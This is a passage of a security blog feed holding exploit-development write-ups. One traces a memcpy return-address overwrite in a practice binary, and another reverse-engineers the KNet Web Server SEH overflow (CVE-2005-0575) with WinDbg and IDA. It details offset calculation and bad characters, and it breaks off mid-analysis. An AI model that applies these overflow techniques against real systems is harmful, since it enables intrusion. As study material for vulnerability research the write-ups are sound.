&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;memcpy&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;num&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now it is time to examine the next three values on the stack:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:003&amp;gt; dds esp L3
01f66760  01f66770    // dst
01f66764  01f6b7ac    // src
01f66768  00004000    // size
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As the goal of this exercise is to acheive active exploitation via an overflow, the next logical step would be to compare the distance between the address of the destination buffer and the pointers which hold the return addresses.&lt;/p&gt;

&lt;p&gt;However before going further, it is helpful to examine the contents the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;source&lt;/code&gt; buffer is referencing and ensure it is values under the attacker’s control:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:003&amp;gt; db 01f6b7ac
01f6b7ac  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01f6b7bc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01f6b7cc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To discover the pointers which hold the return addresess, the call stack can be viewed:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 01f66f78 01311a96 main+0x1712
01 01f6f7d8 770a6639 main+0x1a96
02 01f6f814 770a6711 msvcrt!_callthreadstart+0x25
03 01f6f81c 76da9564 msvcrt!_threadstart+0x61
04 01f6f830 7773293c KERNEL32!BaseThreadInitThunk+0x24
05 01f6f878 77732910 ntdll!__RtlUserThreadStart+0x2b
06 01f6f888 00000000 ntdll!_RtlUserThreadStart+0x1b
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The location of the return address for each frame is the address of the frame incremented by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x04&lt;/code&gt; in other-words, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RET ADDRESS POINTER = ChildEBP + 0x04&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;For example, let’s take the first frame:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;00 01f66f78 01311a96 main+0x1712
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this case, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x01311a96&lt;/code&gt; which is the return address, should be referenced by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x01f66f78 + 0x04&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:003&amp;gt; dds 0x01f66f78 + 0x04 L1
01f66f7c  01311a96 main+0x1a96
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Afterwards, let’s check if that the return address pointer aka &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x01f66f7c&lt;/code&gt; is greater than the address of the destination buffer aka &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x01f66770&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:003&amp;gt; ? 0x01f66f7c &amp;gt; 0x01f66770
Evaluate expression: 1 = 00000001
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As shown by the expression above, it is! This is important because when the memory copy operation is performed it will start writing at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x01f66770&lt;/code&gt; and onwards (towards higher addresses). If in the case the return address pointer was at a lower address than the destination buffer, it would never be reached as the write operation would happen in the opposite direction.&lt;/p&gt;

&lt;p&gt;The final step is to calculate the distance between the return address pointer and the destination buffer:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:003&amp;gt; ? 0x01f66f7c - 01f66770
Evaluate expression: 2060 = 0000080c
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As shown in the expression above, the offset is only &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x80c / 0n2060&lt;/code&gt; bytes! This is awfully close and when revisiting the arguments of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memcpy()&lt;/code&gt; call itself, specifically the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;size&lt;/code&gt;, it is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x4000&lt;/code&gt; which is way more than enough to successfully overwrite the return address pointer.&lt;/p&gt;

&lt;p&gt;So to reiterate the findings, as an attacker is able to control the contents of the values copied from one memory region to another, and the destination region is only &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x80c&lt;/code&gt; bytes below a pointer which references a return address and the attacker has the capability to write &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x4000&lt;/code&gt; bytes, the return address pointer can be overwriten and the attacker can essentially hijack the flow of the application.&lt;/p&gt;

&lt;p&gt;The vital lesson learned here was not to ignore any functionalities of the application &lt;strong&gt;especially&lt;/strong&gt; if they deal with memory copy operations.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;While rabbit holes may be frustrating, once figured out, they will most likely yield profound clarity and understanding. It’s always better to stumble into a rabbit hole during practice, rather than during the exam. Furthermore by highlighting your mistakes in a postmortem fashion, it will hopefully help prevent those mistakes from being repeated when they count the most.&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;
</description>
        <pubDate>Tue, 27 Jun 2023 00:00:00 +0000</pubDate>
        <link>/2023/06/27/quotedb-writeup-trials-and-tribulations/</link>
        <guid isPermaLink="true">/2023/06/27/quotedb-writeup-trials-and-tribulations/</guid>
        
        <category>Research</category>
        
        <category>RE</category>
        
        
      </item>
    
      <item>
        <title>Tracing the KNET SEH Overflow (CVE-2005-0575)</title>
        <description>&lt;h2 id=&quot;preface&quot;&gt;Preface&lt;/h2&gt;

&lt;p&gt;Leveraging a buffer overflow to achieve successful exploitation is only half the battle, the other half is discovering the overflow in the first place. As such, the purpose of this blog post is to provide a walkthrough on discovering the overflow affecting &lt;a href=&quot;https://www.techspot.com/downloads/569-knet.html&quot;&gt;KNet Web Server 1.04b&lt;/a&gt; aka &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVE-2005-0575&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h2&gt;

&lt;p&gt;Throughout this blog post a hybrid combination of a static and dynamic analysis will be used to demonstrate the reversing process. &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/&quot;&gt;WinDbg&lt;/a&gt; will be used as the debugger while &lt;a href=&quot;https://hex-rays.com/ida-pro/&quot;&gt;IDA Pro&lt;/a&gt; as the disassembler.&lt;/p&gt;

&lt;p&gt;The initial step involves identifying how user input entered the memory. In the case of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;KNET&lt;/code&gt; application, being an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP&lt;/code&gt; server and with the overflow triggered via an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP&lt;/code&gt; request, the focus turned to sockets. Since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;KNET&lt;/code&gt; is a portable executable, it is likely utilizing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Winsock API&lt;/code&gt;, which facilitates communication between applications over the network. In this particular scenario, as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP&lt;/code&gt; employs &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TCP&lt;/code&gt; as the underlying transport protocol, the specific method function to investigate would be the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recv()&lt;/code&gt; function, which does the following:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;The recv function receives data from a connected socket or a bound connectionless socket.

source: https://learn.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-recv
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When inspecting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Imports&lt;/code&gt; section in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IDA&lt;/code&gt;, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recv()&lt;/code&gt; function is found. When analyzing the cross-references to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recv()&lt;/code&gt;, there are only two calls to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recv()&lt;/code&gt; discovered. This discovery is beneficial as it is expected to significantly reduce the time required for reverse engineering:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/knet/2023-05-28-10-50-27.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Setting breakpoints at both calls using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WinDBG&lt;/code&gt;, the following Python script is fired off which simply just sends an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP&lt;/code&gt; request over the socket should in-turn trigger one of the breakpoints:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;W00T / HTTP/1.0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\r\n\r\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AF_INET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SOCK_STREAM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'127.0.0.1'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After the script is ran, one of the breakpoints is indeed hit:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;KNet+0x8b36:
00408b36 e8794d0000      call    KNet+0xd8b4 (0040d8b4)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Upon closer examination, it appears that the breakpoint hit corresponds to the second invocation of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recv()&lt;/code&gt; function. By analyzing the last four items on the stack, valuable insights can be obtained regarding the arguments passed to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recv()&lt;/code&gt; call.&lt;/p&gt;

&lt;p&gt;The function prototype for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recv()&lt;/code&gt; is as follows:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;recv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;SOCKET&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;   &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:000&amp;gt; dds esp L4
0014fef8  00000af0    // socket descriptor
0014fefc  0014ff34    // buffer
0014ff00  00000008    // bytes to read
0014ff04  00000002    // flags
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;One of the key aspects to examine is the buffer, which acts as the storage for the data read from the socket. In the given context, it is represented as the second argument aka &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0014ff34&lt;/code&gt;. Another crucial parameter is the length argument, which specifies the number of bytes to be read from the socket, which in this case is 8.&lt;/p&gt;

&lt;p&gt;In this scenario, reading only 8 bytes from the socket is insufficient to result in any form of exploitation. To verify this further, we can proceed by stepping over the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recv()&lt;/code&gt; call and examining the bytes extracted from the address of the buffer mentioned earlier. This allows us to observe the content retrieved from the socket:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:000&amp;gt; db 0014ff34 L8
0014ff34  77 30 30 74 20 2f 20 48       w00t / H
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As indicated in the output provided, it is evident that only the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP&lt;/code&gt; method and a few subsequent bytes were successfully read from the socket.&lt;/p&gt;

&lt;p&gt;After resuming execution of the program, the second call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recv()&lt;/code&gt; is now triggered:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;KNet+0x8a02:
00408a02 e8ad4e0000      call    KNet+0xd8b4 (0040d8b4)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s perform the same steps as earlier and examine the stack to learn more about the arguments being passed to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recv()&lt;/code&gt; call:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:000&amp;gt; dds esp L4
0014ff18  00000af0    // socket descriptor
0014ff1c  005505a8    // buffer
0014ff20  00002710    // bytes to read
0014ff24  00000000    // flags
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Something that explicitly stands out here is the amount of bytes to read which is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x2710&lt;/code&gt; aka &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0n10000&lt;/code&gt; which relatively speaking can be considered a large buffer. Side-tangent: Interestingly enough &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RFC 1945&lt;/code&gt; does not define a specific maximum size limit for an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP&lt;/code&gt; request; rather it’s up the server to impose the maximum size.&lt;/p&gt;

&lt;p&gt;After stepping over the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recv()&lt;/code&gt; call and then dumping the buffer, we can see that the full non-truncated &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP&lt;/code&gt; request which was sent via the Python script was saved to memory:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:000&amp;gt; db 005505a8
005505a8  77 30 30 74 20 2f 20 48-54 54 50 2f 31 2e 30 0d  w00t / HTTP/1.0.
005505b8  0a 0d 0a 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
005505c8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
005505d8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With this in mind, let’s see a hardware breakpoint on the address of the buffer so that whenever the program attempts to read or write to the buffer, execution will be paused:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:000&amp;gt; ba r 4 0x05505a8
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The breakpoint is triggered shortly thereafter:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;KNet+0x4f1f:
00404f1f 40              inc     eax
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Jumping to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00404f1f&lt;/code&gt; within &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IDA&lt;/code&gt;, the following basic blocks are shown:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/knet/2023-05-28-11-18-31.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The observed operation involves a loop that performs byte-by-byte copying from the memory address pointed to by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; register into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ch&lt;/code&gt; register, which forms the lower 16 bits of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ECX&lt;/code&gt; register:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.text:00404F1D mov     ch, [eax]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Aftewards the memory address pointed to by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; register is incremented by 1:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.text:00404F1F inc     eax
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then the byte which was originally copied into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ch&lt;/code&gt; register is then moved to the memory address pointged by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EDX&lt;/code&gt; register:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.text:00404F20 mov     [edx], ch
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EDX&lt;/code&gt; is then incremented by one as well:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.text:00404F22 inc     edx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Lastly the value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ch&lt;/code&gt; is compared to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt;, and if the value is anything but zero, the loop jumps back to the start:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.text:00404F23 cmp     ch, 0
.text:00404F26 jnz     short loc_404F1D
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The utilization of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; as the comparison value in this context is due to the buffer which is responsible for storing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP&lt;/code&gt; request was pre-initialized with zeroes. Consequently, encountering a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; signifies the end of the data copied into the buffer; meaning that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00&lt;/code&gt; would definitely be a bad character here.&lt;/p&gt;

&lt;p&gt;Still there doesn’t appear to be anything inherently dangerous about this loop, so we will keep tracing the flow of the user-input until it eventually reaches the sink.&lt;/p&gt;

&lt;p&gt;After a series of benign copy and logical operations, the program flow eventually reaches the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sub_40CFA0&lt;/code&gt; function, where a call to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy()&lt;/code&gt; function is made:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/knet/2023-05-28-11-46-44.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s set a breakpoint on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy()&lt;/code&gt; function call and when it’s triggered, examine the arguments passed to the function:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:000&amp;gt; dds esp L2
0014f97c  0014fad4    // dest
0014f980  01992f60    // src
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Upon examining the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src&lt;/code&gt; buffer, it shows that it holds a path to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;index.html&lt;/code&gt; file, as well as contents of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP&lt;/code&gt; request meaning it is passing user-input!&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:000&amp;gt; db 01992f60 L90
01992f60  43 3a 5c 50 72 6f 67 72-61 6d 20 46 69 6c 65 73  C:\Program Files
01992f70  5c 4b 4e 65 74 5c 69 6e-64 65 78 2e 68 74 6d 6c  \KNet\index.html
01992f80  00 00 00 00 00 00 00 00-6d 9a b6 c8 07 13 00 08  ........m.......
01992f90  c0 0a 7b 01 60 0e 7b 01-0a 00 00 00 c0 d0 e0 f0  ..{.`.{.........
01992fa0  b6 b7 ce 48 1f 00 00 00-ac 2f 99 01 00 40 00 80  ...H...../...@..
01992fb0  f0 bd 83 4a 00 00 00 80-05 00 00 05 07 13 00 00  ...J............
01992fc0  a0 04 99 01 00 0b 99 01-00 00 00 00 00 00 00 00  ................
01992fd0  fc bd 8f 4a 00 01 00 80-77 30 30 74 20 2f 20 48  ...J....w00t / H
01992fe0  54 54 50 2f 31 2e 30 0d-0a 0d 0a 00 8c 00 99 01  TTP/1.0.........
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However there’s something interesting to note about the location of the destination buffer, specifically the address: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0014fad4&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The reason it’s interesting is because when examining the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Thread Environment Block&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:000&amp;gt; !teb
TEB at 00390000
    ExceptionList:        0014ffcc
    StackBase:            00150000
    StackLimit:           00145000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

